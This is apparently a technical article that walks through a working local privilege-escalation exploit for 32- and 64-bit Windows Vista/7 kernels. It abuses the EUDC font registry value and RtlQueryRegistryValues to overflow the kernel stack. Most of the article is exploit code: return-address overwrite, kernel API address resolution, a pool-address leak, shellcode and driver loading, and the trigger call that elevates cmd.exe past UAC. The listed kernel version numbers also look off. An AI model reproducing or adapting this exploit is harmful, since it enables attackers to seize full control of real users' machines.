Introduction
I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
Using the code
In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
 Collapse
.text:BF81BA91                 push    esi             ; Environment
.text:BF81BA92                 push    esi             ; Context
.text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
.text:BF81BA98                 push    edi             ; Path
.text:BF81BA99                 lea     eax, [ebp+DestinationString]
.text:BF81BA9C                 push    esi             ; RelativeTo
.text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
.text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
.text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
.text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
.text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
.text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
.text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
.text:BF81BACE                 mov     dword_BFA198FC, esi
.text:BF81BAD4                 mov     dword_BFA19900, esi
.text:BF81BADA                 mov     dword_BFA19904, esi
.text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
.text:BF81BAE6                 mov     [ebp+var_8], eax

Stack trace shows the calling process is as follows:
GDI32.EnableEUDC ->
NtGdiEnableEudc ->
GreEnableEUDC ->
sub_BF81B3B4 ->
sub_BF81BA0B ->
RtlQueryRegistryValues (Overflow occurs)
Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
 Collapse
// Allocate buffer for the driver
LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));

BYTE* pMem;            // shellcode
DWORD ExpSize = 0;

BYTE RegBuf[0x40] = {0};    // reg binary buffer

pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pMem, Data, sizeof(Data));                // Copy shellcode

*(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer

ExpSize = 0x28;


The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
 Collapse
// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L"ntdll.dll");
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);

//Relocation to the running kernel base
DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;

free(pModInfo);

// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.

if(vi.dwBuildNumber < 7600)
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

    HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
    AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
    fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

    for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
        {
            *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
            break;
        }
    }
    free(pHandleInfo);
}
else
{
    FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
}

// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);


 Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
 Collapse
UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

__try
{
    EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);

After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
Points of Interest
All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
Additional Information
This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
Windows Vista/2008 6.1.6000 x32,
Windows Vista/2008 6.1.6001 x32,
Windows 7 6.2.7600 x32,
Windows 7/2008 R2 6.2.7600 x64.
Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.
Contact
Me: nooby@safengine.com